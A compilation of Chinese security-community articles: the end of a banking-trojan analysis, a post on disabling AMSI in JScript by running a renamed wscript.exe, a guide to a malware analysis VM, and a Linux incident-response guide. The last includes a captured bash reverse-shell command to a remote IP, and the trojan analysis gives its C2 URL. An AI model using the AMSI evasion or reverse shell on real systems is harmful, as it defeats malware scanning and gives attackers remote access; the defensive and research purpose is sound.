木马植入受害者机器并开始解包，一旦解开，它会存储常见浏览器（Opera，火狐）的证书，并修改它们的配置来实现中间人攻击。然后消除恶意软件之外的其他所有代理，并更改缓存权限为只读。然后，它用Base64编码字符串改变了注册表项，该注册表项包含到自动配置内容（如：使用CAP文件的语法的流量捕获）的路径，并将自己签署证书安装到root文件夹中。之后，它等待受害者登录自己的银行账户，窃取他们的凭据，使用他们的名字登录并利用SMS功能汇款到ATMZombie。
**
**
**分析**
调试恶意程序后，我们捕捉到运行时产生的虚拟分配过程。断点分析后发现解压的可执行文件。一旦程序运行完，MZ头会出现在内存中。
查看恶意软件的汇编代码，我们能够确定一些字符串被嵌入到数据部分。发现的第一个是一大堆对外通迅URL中的Base64字符串，这些是要嵌入到注册表项中的。另外两个Base64串是PAC，嵌在浏览器的网络配置中。
第一个字符串解码到：http://retsback.com/config/cfg.pac
备注：这不是嵌入浏览器网络配置的PAC文件，我们认为这是攻击者的备份，以防原PAC失效。
Base64字符串中的URL被添加到指纹匹配沙箱的HTTP请求中。Windows
ProductID、二进制名称和一个一到五之间的整数传递了空参数。其中整数表示恶意软件被分配到的完整级：从（1）不可信任级到（5）系统级。除了这三个动态值还有一个静态版本值。
GET
/z/rtback.php?id=[WindowsProductID]&ver=0000002&name=[malware_filename]&ilvl=[integrity_level]HTTP/1.1
Host: retsback.com
Cache-Control: no-cache
检查二进制文件，我们发现它使用证书通过HTTPS定位数据并成功窃取受害者的凭据。
在受害者的机器上植入证书和代理配置后，受害人登录银行时浏览器通过路由与攻击者的服务器通信。
被诱骗下载恶意软件的不仅是以色列银行的客户，黑客针对了以色列特定的一家银行客户实施攻击。这要求他们有很好的情报搜集技术来获取客户端列表。有了这样的列表，攻击就会变得非常有效率，攻击者就能对针对特定的目标或银行所受到的每封电子邮件或特定链接做手脚。
以下是恶意软件的完整伪代码：
**总结**
该恶意软件只是攻击的第一步。第二步包括手动登录目标帐户，并转钱到钱骡的账户。这是很关键的一步，因为实施这一步意味着恶意软件已成功完成了其在攻击中的作用。
手动登录到受害人的银行账号这一步也不能掉以轻心。世界各地的许多银行都在使用指纹设备，以确保用户使用值得信赖的终端操作。对于不受信任的机器，银行会实施扩展保护机制，防止在这篇文章中详细描述的攻击。此外，银行会跟踪异常，并向其信息安全人员发送警报。
在受害者发现并联系银行支持团队报告账户被盗之前，攻击者将偷到的钱通过钱骡的手机号码和以色列个人身份信息（PII）转移。我们戏称为钱骡为“僵尸”，调查中，研究人员发现青少年会被诱骗从ATM中提取现金，以赚取其中很少的一部分。后来，他们通过不同的媒介，比如邮局，发送的剩下的钱。
该技术能让攻击者保持匿名，并远程监控整个活动。通过银行的指导文件，非注册用户可以研究其功能并分析对其攻击并偷窃钱财的可能性。此功能称为“SMS交易”；它在过去的几年中被广泛使用，可以让家长给正在服兵役或在学校学习的孩子寄钱。
只要拥有几个特定的信息，比如日期，以色列ID，姓名和手机的拥有者数量，我们就能收到授权取现的短信。
卡巴斯基实验室开发了保护不受proxy-changer攻击的新型方法。可以在[这里](https://securelist.com/analysis/publications/57891/pac-the-problem-auto-config/#attachment_63112)获取。 | 社区文章 |
# 用一个简单的trick在Jscript中禁用AMSI
|
##### 译文声明
本文是翻译文章，文章原作者 anhkgg，文章来源：tyranidslair.blogspot.com
原文地址：<https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html>
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章介绍了一种又快又猥琐的方法，可以在Windows Scripting Host
中禁用AMSI，而不需要管理员权限或者修改注册表密钥/系统状态（比如Defender之类AV都会监控这些修改）。我在最新的Windows10
1803型号上做了测试，仅供参考。
注：AMSI是微软的反恶意软件扫描接口。
我注意到[DotNetToJScript](https://github.com/tyranid/DotNetToJScript)
的默认脚本文件不能工作了，因为Windows Defender会阻止它，感谢所有将我的工具标记成恶意软件的朋友。
如果你仔细查看屏幕截图你会发现图中显示“Affected items:”是以amsi为前缀的。这表明检测不是基于文件而是基于 [Antimalware
Scan Interface](https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587%28v=vs.85%29.aspx)的行为。当然你可以通过重新编写脚本来解决这个问题（它以一种很奇怪的方式在scriptlet中工作），但我永远都不会这样做。因为我从来没有为了使用“Sharpshooter“而编写它。我之前有一个绕过AMSI的想法，现在正好可以测试一下。
在看到MDsec最近关于PowerShell中AMSI的[新bypass方法](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/)以及[Tal
Liberman](https://twitter.com/tal_liberman)在[BlackHat
Asis](https://www.blackhat.com/docs/asia-18/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf)的演讲后，我受到了一些启发，准备再次挖掘下这种技术。但是我没在其它地方看到关于这种技术的描述，但是我还是决定写出来，因为如果我错了肯定会有人能纠正我的错误。
## Windows脚本宿主如何加载AMSI
AMSI是作为COM服务器被实现的，用于通过内部通道与已经安装的安全产品进行通信。先前对AMSI的攻击是[Matt
Nelson](https://twitter.com/enigma0x3)通过[劫持COM注册表](https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/)完成的。脚本主机不支持直接调用COM对象，而是通过AMSI.DLL中导出的方法调用，我们可以通过在Process
Monitor中设置适当的过滤器来观察被加载的情况。
我们可以使用Process
Monitor的堆栈跟踪功能来查找负责加载的AMSI.DLL的代码。它实际上是脚本引擎的一部分，例如Jscript或者VBScript，而不是WSH的核心部分。代码的基础知识如下：
HRESULT COleScript::Initialize() {
hAmsiModule = LoadLibraryExW(L"amsi.dll",
nullptr, LOAD_LIBRARY_SEARCH_SYSTEM32);
if (hAmsiModule) { ①
// Get initialization functions.
FARPROC pAmsiInit = GetProcAddress(hAmsiModule, "AmsiInitialize");
pAmsiScanString = GetProcAddress(hAmsiModule, "AmsiScanString");
if (pAmsiInit){
if (pAmsiScanString && FAILED(pAmsiInit(&hAmsiContext))) ②
hAmsiContext = nullptr;
}
}
bInit = TRUE; ③
return bInit;
}
基于这段代码我们能看到它在加载了AMSI DLL①后调用了AmsiInitialize
②方法来获取上下文句柄。这段代码的有趣之处是无论AMSI是否初始化它都会返回成功③。有三种情况会导致这段代码失败从而永远不会初始化AMSI，阻止加载AMSI.DLL，使AMSI.DLL不包含诸如AmsiInitialize之类的方法，或让AmsiInitializeto失败。
Tal
Liberman在他的PPT第56页中提到你可以使用应用程序将AMSI复制到另一个目录，它将尝试从该目录加载AMSI.DLL。由于这个AMSI可能是一些不相关的DLL，它们不能导出AmsiInitialize
，那么加载将成功，其实是失败的。然而这个方法在有标志LOAD_LIBRARY_SEARCH_SYSTEM32时候不会生效，这意味着LoadLibraryEx
始终尝试首先从SYSTEM32 加载。AmsiInitialize 的失败显然是一个问题，但是我们很难阻止这个代码从 SYSTEM32
加载AMSI.DLL，那我们怎么办呢？我们当然可以预加载另一个AMSI.DLL。
## 劫持AMSI.DLL
我们如何以最少的代价加载替换AMSI.DLL？可能不是所有人都意识到LoadLibrary将在已加载DLL中查找所有请求加载DLL的名字，以便不会加载相同的DLL两次。这不仅适用于DLL的名称，还适用于主可执行文件。因此，如果我们能够让库加载器相信我们的主可执行文件就是叫做AMSI.DLL，那么加载器将返回它的上下文句柄。无法找到导出的AmsiInitialize会导致AMSI无法初始化但会继续执行而不是检查它。
如何在不修改进程内存的情况下将主可执行文件的名称更改为？很简单，我们将WSCRIPT.EXE复制到另一个目录，但是将其命名为AMSI.DLL然后运行它。我们如何运行AMSI.DLL，它不是需要SOMETHING.EXE吗？
在windows上有两种主要的进程执行方法，ShellExecute或者CreateProcess。调用ShellExecute时候，API会查找扩展的处理程序，比如.EXE或者.DLL，并根据结果执行特定操作。通常.EXE将重定向到只调用CreateProcess，其中.DLL会尝试将其加载到已注册的视图中，在默认的系统上则不会。
但是，CreateProcess不关心文件具有什么扩展名，只要它是基于其PE头的可执行文件即可。（实际上你可以使用native
API调用DLL，但是我们无权在WSH访问）。因此，只要我们能够调用CreateProcess创建AMSI.DLL（WSCRIPT.EXE的副本），就会执行。要做到这一点，我们可以使用WScript.Shell的Execmethod直接调用CreateProcess。
var obj = new ActiveXObject("WScript.Shell");
obj.Exec("amsi.dll dotnettojscript.js");
这样一个名为AMSI.DLL的进程就运行了。当Jscript或者VBScript尝试加载AMSI.DLL时，它将获得主可执行文件的句柄，AMSI不再工作。据我所知，这个简短的script并没有被AMSI本身检测到，所以运行你想运行的“真正的”代码是安全的。
总结一下这个攻击：
1\.
启动存根脚本，将WSCRIPT.EXE复制到已知的位置，并且命名为AMSI.DLL。这是位于不同位置的同一目录签名可执行文件，因此可能绕过纯粹基于签名的检测。
2\. 在存根脚本中使用“真实”脚本执行新创建的AMSI.DLL
3\. 额，就这么多了。
AFAIK不适用于PowerShell，因为它似乎破坏了代码中的一些重要东西，这使得PS无法运行。我不知道这是不是设计好的。不过，我知道这是一种绕过AMSI很蠢的方法，但它只是表明，恶意软件很容易在对检测平台进行修改时，这种自检功能很少能工作的很好。
审核人：yiwang 编辑：边边 | 社区文章 |
原文地址：[Creating a Simple Free Malware Analysis
Environment](https://www.malwaretech.com/2017/11/creating-a-simple-free-malware-analysis-environment.html "Creating a Simple Free Malware Analysis
Environment")
译者：hello1900@知道创宇404实验室
计算机要求：
* CPU支持AMD-V 或Intel VT-x（任何调试解调器CPU均适用）;
* 4GB RAM（容量越大越好）。
确保启用BIOS虚拟化（AMD-V或Intel VT-x）。需要谷歌搜索“enable
virtualization”以及BIOS或主板版本号并遵照以下步骤。
#### 选择系统管理程序
系统管理程序是一款软件，用于创建与真实设备相分离的虚拟计算机（有时称作虚拟机，缩写VM）。接下来，我们就将使用系统管理程序创建一个单独的Windows安装程序，可以在不对自身设备或数据造成危害的情况下感染恶意软件。
我个人经常使用大约5种不同的系统管理程序，每个程序之间存在细小差别，适合不同任务需求。下面我将介绍具体用途与原因。
* **VMware Workstation Pro -** 性能极高，可能最适合在Windows 操作系统上运行，此外还具备适用于复杂虚拟网络的一整套额外功能。
* **VMware Workstation Player -** Pro版本的轻量级精简版本，非常适合简单便捷的VM设置，但不支持快照功能，这也是恶意软件分析过程中存在的主要问题。我在笔记本电脑上安装了该版本，用于改进演示。
* **KVM -** 在Linux操作系统上运行，插件通过去重获取更多内存。KVM在规避恶意软件检测方面具有非常好的性能，因为多数恶意软件依赖于VirtualBox或VMWare的具体功能，不太关注其他系统管理程序的检测。
* **ESXi -** 不用于操作系统安装，通过在系统管理程序周边搭建操作系统减少开销。
* **VirtualBox -** 允许欺骗VM底层硬件，通过探测虚拟/物理硬件或固件版本避免恶意软件发现自身位于VM中。免费、设置简单并具备付费系统管理程序的多数功能。
对于初学者而言，推荐使用[VirtualBox](https://www.virtualbox.org/wiki/Downloads
"VirtualBox")，因为它免费、支持多数大型操作系统，快照功能允许将VM
恢复到具体某个存储状态。出此考虑，本文内容也将围绕VirtualBox展开。
#### 选择Guest OS
在VM内部运行的操作系统十分重要，具体取决于以下几方面。对此，我将逐一详细介绍。
###### 必备技能
如果你打算对恶意软件实施逆向工程，但只是大致了解或正在学习x86汇编语言，那么运行x86
Windows安装程序比较适合。多数恶意软件在WoW64（Windows在64位系统上运行32位二进制文件所采用的方式）下运行，所以你可能会在不考虑所采用架构的情况下针对32位代码逆向工程。在某些情况下，恶意软件将根据具体架构放置32位或64位有效payload，因此，不熟悉64位汇编语言就需要使用32位payload，也就是说使用32位（x86）操作系统。
###### 硬件要求
x86_64 CPU能够运行32位/64位VM，但x86
CPU只能运行32位VM。如果你的CPU是x86，那么应选择32位操作系统。老式CPU（特别是x86 CPU）可能不支持较新版本的Windows
安装程序具备的功能，所以最好保持在Windows 8以下版本。
如果你的计算机没有足够内存，那么运行Windows XP VM效果更好，因为256M内存即已满足要求（确保使用Service Pack
3，因为它添加了多数恶意软件赖以生存的OS功能。）Windows 7 VM 通常要求1 GB 内存，但实际上可能768MB （Home Edition
512M）即已满足要求。
###### 经验之谈
多数恶意软件在XP Service Pack 3与Windows
10之间的各种Windows系统上运行。所以说如果你更熟悉XP就放心大胆使用吧。Windows
10资源非常集中，可能不支持所有恶意软件，不适合日常恶意软件分析，除非在极端情况下。此外，Windows 10
后台联网服务也异常嘈杂，数据包捕获充斥了大量无用、不相关数据。
###### 恶意软件
64位操作系统利用DSE（驱动程序强制签名）阻拦未签名的核心驱动加载。如需分析安装核心驱动的恶意软件，那么32位操作系统将是你的首选，不会产生恶意软件安装未签名驱动的问题。
###### 工具配置
说到这里，还要感谢我的雇主，在地下室放置了一台强大的机架式服务器，足以安装从OS、XP到Windows
10（32位/64位）的各类操作系统。在此之前，我个人偏好使用支持常用恶意软件的Windows 7 Ultimate Edition
（32位）操作系统，主要看中了远程桌面功能。如果你觉得VNC用起来更顺手，那么Home Edition也是不错的选择。
此外，还应记住VM用于恶意软件运行与分析，当试图通过恶意软件感染系统时，弃用存在安全隐患的较老版本操作系统只会适得其反。
#### 设置虚拟机
###### RAM
建议根据所用操作系统要求选取最小量。
###### CPU
“处理器”选项定义能够使用多少CPU内核。正常情况下，一个就够用，但如果你的CPU具有多个内核，可考虑放宽限制，为VM提速。
执行上限应保持在100%，除非将处理器设置为与CPU具有相同内核数并考虑降低限制，避免VM死机。
###### 网络
确保勾选NAT选项，可使VM联网但看不到真实网络上的设备或与其他VM通信，后者从安全角度看是件好事。
其他选项可保持原样。虽然对于简单恶意软件分析环境不作要求，但可以通过[hifireF0x加载程序](https://github.com/hfiref0x/VBoxHardenedLoader
"hifireF0x加载程序")强化VirtualBox，防止恶意软件检测到所处的VM环境。
#### 安装Windows
如果已具备有效的产品秘钥（一旦在VM中安装，不得使用产品秘钥激活Windows，否则恶意软件可能窃取秘钥；正确做法是使Windows保持未激活状态），Windows7、8、10
镜像文件可[由此](https://www.microsoft.com/en-us/software-download/home
"由此")获得。Windows
XP似乎无法从微软网站获得，但我相信只要安装程序没被破解或修复，下载Windows镜像文件种子就是合法的。简而言之，VM仅运行恶意软件时不要激活Windows，因为激活带来的好处不具有任何实际意义。
无需将安装程序镜像文件安装至CD光盘，仅需导航至选项中的“存储”类别、点击旁边显示Empty的CD图标与右上角第二个CD图标，并选择安装镜像文件。
启动VM后，Windows系统将自动从镜像文件启动。按常规步骤浏览Windows安装流程，略过激活环节，考虑改变计算机名称与用户名，使VM看起来不像是供研究使用的机器。避免安装“Guest
Additions”，因为恶意软件使用的工具包通常被用来检测是否在虚拟机内运行。
#### 环境设置
Windows 安装完毕后点击“Machine”> “Take Snapshot”
，创建现有VM状态图像，接下来可以回到原来界面或从相同图像创建新的VM；“roll
back”至某张快照类似于用快照期间保存的数据重写硬盘与内存、撤销任何变更，当然包括获取快照后发生的恶意软件感染事件。
现在轮到选择并安装分析工具了，如果不确定该安装哪些工具，可参考以下列表：
###### 反汇编工具 / 调试程序
* [OllyDbg](http://ollydbg.de/ "OllyDbg")
* [WinDbg（作为Windows SDK一部分安装）](https://www.microsoft.com/en-us/download/details.aspx?displaylang=en&id=8279 "WinDbg（作为Windows SDK一部分安装）")
* [x64Dbg](https://sourceforge.net/projects/x64dbg/files/snapshots/ "x64Dbg")
* [IDA（Freeware Edition）](https://www.hex-rays.com/products/ida/support/download_freeware.shtml "IDA（Freeware Edition）")
* [Radare2](http://rada.re/r/ "Radare2")
###### PE 工具
* [PE Explorer](http://www.heaventools.com/overview.htm "PE Explorer")
* [Explorer Suite](http://www.ntcore.com/exsuite.php "Explorer Suite")
* [PEStudio](https://www.winitor.com/binaries.html "PEStudio")
###### 进程工具
* [Process Hacker](http://processhacker.sourceforge.net/ "Process Hacker")
* [ProMon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon "ProMon")
* [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer "Process Explorer")
* [Process Dump](http://split-code.com/processdump.html "Process Dump")
* [User Mode Process Dumper](https://www.microsoft.com/en-us/download/details.aspx?id=4060 "User Mode Process Dumper")
###### 网络工具
* [Wireshark](https://www.wireshark.org/download.html "Wireshark")
* [Fiddler](https://www.telerik.com/fiddler "Fiddler")
* [mitmproxy](http://docs.mitmproxy.org/en/stable/install.html "mitmproxy")
###### 其他
* [HxD（Hex Editor）](https://mh-nexus.de/en/hxd/ "HxD（Hex Editor）")
* [PaFish（VM检测测试）](https://github.com/a0rtega/pafish "PaFish（VM检测测试）")
* [oledump（从Office 文档提取宏）](https://blog.didierstevens.com/programs/oledump-py/ "oledump（从Office 文档提取宏）")
* [olevba（VBA宏提取器）](https://www.decalage.info/python/olevba "olevba（VBA宏提取器）")
* [字符串（从文件提取ASCII与Unicode文本）](https://docs.microsoft.com/en-us/sysinternals/downloads/strings "字符串（从文件提取ASCII与Unicode文本）")
安装所选工具后再生成一张快照就大功告成了（如需安装新工具可直接返回至快照界面，安装新工具后生成新快照、删除旧快照）。
###### 注意事项
* 尚无恶意软件使用零日漏洞逃逸虚拟机的案例记载，如果保持VM清洁就应该不存在安全问题。切勿将USB设备插入VM，假定VM中的所有文件均被感染。切勿传输可在VM外部感染的文件，也不得登录受感染VM中的任何服务器。
* 在使用“Shared Folders”等功能在计算机与VM之间分享文件夹时要格外小心。这些文件夹中的所有文件都可被VM中的恶意软件轻松窃取、感染或破坏。
* 不要在联网VM上运行不熟悉的恶意软件样本。恶意软件可通过你的IP地址发动DDoS攻击、入侵计算机、开展金融诈骗活动。最好不通过执法途径开启常规访问路径。
* 如果在VM中运行VPN，则该VPN可被禁用或由恶意软件绕过，暴露你的真实IP地址。通常情况下，犯罪分子不会针对研究人员，但如果你想隐藏IP地址，那么不妨在你的计算机而非VM中运行VPN。
* 避免在危险区域存储可执行恶意软件样本。建议将这些可能接触到你计算机的文件重命名为不可执行文件（例如.bin或.malware）或存储在不可执行目录下的webserver上。
* 在VM中存放的任何文件都可能被其间运行的恶意软件窃取，这是基本常识。
* 在分析过程中用快照保存进程。如果VM在记录期间发生崩溃或被勒索软件加密，未及时备份的数据将面临丢失的风险。
* 杀毒软件仍将扫描并删除匹配恶意签名的不可执行恶意软件样本甚至记事本，建议将重要文件夹设置为白名单。
* * * | 社区文章 |
# 【技术分享】Linux应急响应姿势浅谈
|
##### 译文声明
本文是翻译文章，文章来源：阿里云先知
原文地址：<https://xianzhi.aliyun.com/forum/read/2150.html>
译文仅供参考，具体内容表达以及含义原文为准。
**作者：vinc@阿里云先知**
**一、前记**
无论是甲方还是乙方的同学，应急响应可能都是家常便饭，你可能经常收到如下反馈：
运维同事 –> 服务器上存在 **可疑进程** ，系统资源占用高；
网络同事 –> 监控发现某台服务器 **对外大量发包** ；
….
不要着急，喝一杯82年的美年达压压惊，希望本文可以对你有所帮助。
**二、排查流程**
**0x01 Web服务**
一般如果网络边界做好控制， **通常对外开放的仅是Web服务** ，那么需要先找到Webshell，可以通过如下途径：
**1）检查最近创建的php、jsp文件和上传目录**
例如要查找24小时内被修改的JSP文件：
> find ./ -mtime 0 -name "*.jsp"
**2）使用Webshell查杀工具**
Windows下D盾等，Linux下河马等。
**3）与测试环境目录做对比**
> diff -r {生产dir} {测试dir}
**4）创建Audit审计规则**
vim /etc/audit/audit.rules
-a exclude,always -F msgtype=CONFIG_CHANGE
-a exit,always -F arch=b64 -F uid=48 -S execve -k webshell
产生日志如下：
type=SYSCALL msg=audit(1505888691.301:898615): arch=c000003e syscall=59 success=yes exit=0 a0=ca5188 a1=cb5ec8 a2=cb5008 a3=8 items=2 ppid=26159 pid=26160 auid=0 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=120028 comm="ls" exe="/bin/ls" subj=unconfined_u:system_r:httpd_t:s0 key="webshell"
type=EXECVE msg=audit(1505888691.301:898615): argc=1 a0="ls"
type=CWD msg=audit(1505888691.301:898615): cwd="/var/www/html/dvwa"
type=PATH msg=audit(1505888691.301:898615): item=0 name="/bin/ls" inode=2359385 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 nametype=NORMAL
type=PATH msg=audit(1505888691.301:898615): item=1 name=(null) inode=1441842 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 nametype=NORMAL
可以看到所在目录为 **/var/www/html/dvwa**
具体Auditd的使用如下：
**Auditd服务介绍**
Auditd服务是Linux自带的审计系统，用来记录审计信息，从安全的角度可以用于对系统安全事件的监控。
Auditd服务的配置文件位于 **/etc/audit/audit.rules** ，其中每个规则和观察器必须单独在一行中。语法如下：
-a <list>,<action> <options>
<list>配置如下：
task
每个任务的列表。只有当创建任务时才使用。只有在创建时就已知的字段(比如UID)才可以用在这个列表中。
entry
系统调用条目列表。当进入系统调用确定是否应创建审计时使用。
exit
系统调用退出列表。当退出系统调用以确定是否应创建审计时使用。
user
用户消息过滤器列表。内核在将用户空间事件传递给审计守护进程之前使用这个列表过滤用户空间事件。有效的字段只有uid、auid、gid和pid。
exclude
事件类型排除过滤器列表。用于过滤管理员不想看到的事件。用msgtype字段指定您不想记录到日志中的消息。
<action>配置如下：
never
不生成审计记录。
always
分配审计上下文，总是把它填充在系统调用条目中，总是在系统调用退出时写一个审计记录。如果程序使用了这个系统调用，则开始一个审计记录。
<options>配置如下：
-S <syscall>
根据名称或数字指定一个系统。要指定所有系统调用，可使用all作为系统调用名称。
-F <name[=,!=,<,>,<=]value>
指定一个规则字段。如果为一个规则指定了多个字段，则只有所有字段都为真才能启动一个审计记录。每个规则都必须用-F启动，最多可以指定64个规则。
常用的字段如下：
pid
进程ID。
ppid
父进程的进程ID。
uid
用户ID。
gid
组ID。
msgtype
消息类型号。只应用在排除过滤器列表上。
arch
系统调用的处理器体系结构。指定精确的体系结构，比如i686(可以通过uname -m命令检索)或者指定b32来使用32位系统调用表，或指定b64来使用64位系统调用表。
...
**编写测试Java命令监控规则** **** ****
Jboss的启动账户为nobody，添加审计规则
# grep '-a' /etc/audit/audit.rules
-a exclude,always -F msgtype=CONFIG_CHANGE
-a exit,always -F arch=b32 -F uid=99 -S execve -k webshell
重启服务
# service auditd restart
Stopping auditd: [ OK ]
Starting auditd: [ OK ]
**使用webshell测试：**
**1）菜刀马测试**
菜刀马传递的参数为
tom=M&z0=GB2312&z1=-c/bin/sh&z2=cd /;whoami;echo [S];pwd;echo [E]
所执行的程序如下：
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
审计日志如下：
type=EXECVE msg=audit(1500273887.809:7496): argc=3 a0="/bin/sh" a1="-c" a2=6364202F7765622F70726F6A6563742F7A616F6A69617379732E6A69616E73686539392E636F6D2E636563616F707379732F636563616F707379732F3B77686F616D693B6563686F205B535D3B7077643B6563686F205B455D
**2）jspspy测试**
jspspy传递的参数为
o=shell&type=command&command=netstat+-antlp&submit=Execute
所执行的程序如下：
String type = request.getParameter("type");
if (type.equals("command")) {
ins.get("vs").invoke(request,response,JSession);
out.println("<div style='margin:10px'><hr/>");
out.println("<pre>");
String command = request.getParameter("command");
if (!Util.isEmpty(command)) {
Process pro = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String s = reader.readLine();
审计日志如下：
type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"
OSSEC监控配置
OSSEC本身已经包含了auditd事件的解码规则，例如：
<decoder name="auditd">
<prematch>^type=</prematch>
</decoder>
.......
但是在RULES里面没有找到现成的规则，编辑local_rules.xml，新增
<group name="syslog,auditd,">
<rule id="110000" level="0" noalert="1">
<decoded_as>auditd</decoded_as>
<description>AUDITD messages grouped.</description>
</rule>
<rule id="110001" level="10">
<if_sid>110000</if_sid>
<match>EXECVE</match>
<description>Java execution command</description>
</rule>
</group>
测试
[root@localhost ossec]# ./bin/ossec-logtest
2017/07/17 16:28:26 ossec-testrule: INFO: Reading local decoder file.
2017/07/17 16:28:26 ossec-testrule: INFO: Started (pid: 9463).
ossec-testrule: Type one log per line.
type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"
**Phase 1: Completed pre-decoding.
full event: 'type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"'
hostname: 'localhost'
program_name: '(null)'
log: 'type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"'
**Phase 2: Completed decoding.
decoder: 'auditd'
**Phase 3: Completed filtering (rules).
Rule id: '110001'
Level: '10'
Description: 'Java execution command'
**Alert to be generated.
然后在Agent端添加监控文件
<localfile>
<log_format>syslog</log_format>
<location>/var/log/audit/audit.log</location>
</localfile>
然后jspspy执行系统命令，可以看到告警如下
[root@localhost ossec]# tail -f /var/ossec/logs/alerts/alerts.log
** Alert 1500280231.400419: mail - syslog,auditd,
2017 Jul 17 16:30:31 (agent-31) 10.110.1.31->/var/log/audit/audit.log
Rule: 110001 (level 10) -> 'Java execution command'
type=EXECVE msg=audit(1500280229.507:7665): argc=1 a0="pwd"
这里还需考虑的一个问题是白名单，例如公司的一些站点本身就会调用视频处理的一些功能，也会调用系统命令。所以为了避免误报，需要新增一个白名单功能。
这里我们修改一下local_rules.xml，新增白名单规则，并且放到EXECVE规则上面。
<group name="syslog,auditd,">
<rule id="110000" level="0" noalert="1">
<decoded_as>auditd</decoded_as>
<description>AUDITD messages grouped.</description>
</rule>
<rule id="110001" level="0">
<if_sid>110000</if_sid>
<regex>whoami|passwd</regex>
<description>Java execution white list</description>
</rule>
<rule id="110002" level="10">
<if_sid>110000</if_sid>
<match>EXECVE</match>
<description>Java execution command</description>
</rule>
</group>
如上所示，执行 **whoami** 和 **cat /etc/passwd** 的时候不会产生告警。
**其他**
如果没有通过上述途径找到Webshell，可以通过Access Log获取一些信息。
**1）扫描特征**
通常日志中会伴随一些其他攻击特征，例如可以用如下语句
egrep '(select|script|acunetix|sqlmap)' /var/log/httpd/access_log
**2）访问频次**
重点关注POST请求
grep 'POST' /var/log/httpd/access_log | awk '{print $1}' | sort | uniq -c | sort -nr
**3）Content-Length**
Content-Length过大的请求，例如过滤Content-Length大于5M的日志
**awk '{if($10 >5000000){print $0}}' /var/log/httpd/access_log**
注意
这里如果发现文件， **不要直接用vim查看编辑文件内容，这样会更改文件的mtime**
，而对于应急响应来说，时间点很重要。对比时间点更容易在Log找到其他的攻击痕迹。
**0x02 SSH服务**
**查看登录信息**
**登录成功：**
grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
或者last命令，它会读取位于/var/log/wtmp的文件，并把该文件记录的登录系统的用户名单，全部显示出来。
**登录失败：**
grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
或者lastb命令，会读取位于/var/log/btmp的文件，并把该文件记录的登入系统失败的用户名单，全部显示出来。
**检查SSH后门**
1）比对ssh的版本
> ssh -V
2）查看ssh配置文件和/usr/sbin/sshd的时间
> stat /usr/sbin/sshd
3）strings检查/usr/sbin/sshd，看是否有邮箱信息
strings可以查看二进制文件中的字符串，在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息，通过strings
/usr/sbin/sshd可以查看到邮箱信息。
4）通过strace监控sshd进程读写文件的操作
一般的sshd后门都会将账户密码记录到文件，可以通过strace进程跟踪到ssh登录密码文件。
ps axu | grep sshd | grep -v grep
root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4
**0x03 进程**
检查是否存在可疑进程，需要注意如果攻击者获取到了Root权限，被植入内核或者系统层Rootkit的话，进程也会隐藏。
**1）资源占用**
Top然后找到CPU和MEM排序
**2）启动时间**
可疑与前面找到的Webshell时间点比对。
**3）启动权限**
这点很重要，比如某次应急中发现木马进程都是mysql权限执行的，如下所示：
mysql 63763 45.3 0.0 12284 9616 ? R 01:18 470:54 ./db_temp/dazui.4
mysql 63765 0.0 0.0 12284 9616 ? S 01:18 0:01 ./db_temp/dazui.4
mysql 63766 0.0 0.0 12284 9616 ? S 01:18 0:37 ./db_temp/dazui.4
mysql 64100 45.2 0.0 12284 9616 ? R 01:20 469:07 ./db_temp/dazui.4
mysql 64101 0.0 0.0 12284 9616 ? S 01:20 0:01 ./db_temp/dazui.4
那基本可以判断是通过Mysql入侵，重点排查Mysql弱口令、UDF提权等。
**4）父进程**
例如我在菜刀中反弹Bash
[root@server120 html]# ps -ef | grep '/dev/tcp' | grep -v grep
apache 26641 1014 0 14:59 ? 00:00:00 sh -c /bin/sh -c "cd /root/apache-tomcat-6.0.32/webapps/ROOT/;bash -i >& /dev/tcp/192.168.192.144/2345 0>&1;echo [S];pwd;echo [E]" 2>&1
父进程进程号1014
[root@server120 html]# ps -ef | grep 1014
apache 1014 1011 0 Sep19 ? 00:00:00 /usr/sbin/httpd
可以看到父进程为apache，就可以判断攻击者通过Web入侵。
获取到可疑进程号之后，可疑使用 **lsof -p pid** 查看相关文件和路径。
例如之前遇到的十字病毒，会修改ps和netstat显示的进程名称
udp 0 0 0.0.0.0:49937 0.0.0.0:* 131683/ls -la
udp 0 0 0.0.0.0:47584 0.0.0.0:* 116515/ifconfig
使用lsof -p pid可以看到可执行文件
[root@DataNode105 admin]# lsof -p 131683
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
hahidjqzx 131683 root cwd DIR 8,98 4096 18087937 /root
hahidjqzx 131683 root rtd DIR 8,98 4096 2 /
hahidjqzx 131683 root txt REG 8,98 625622 24123895 /usr/bin/hahidjqzxs
可以文件类型可以使用file获取；
[root@server120 tmp]# file .zl
zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
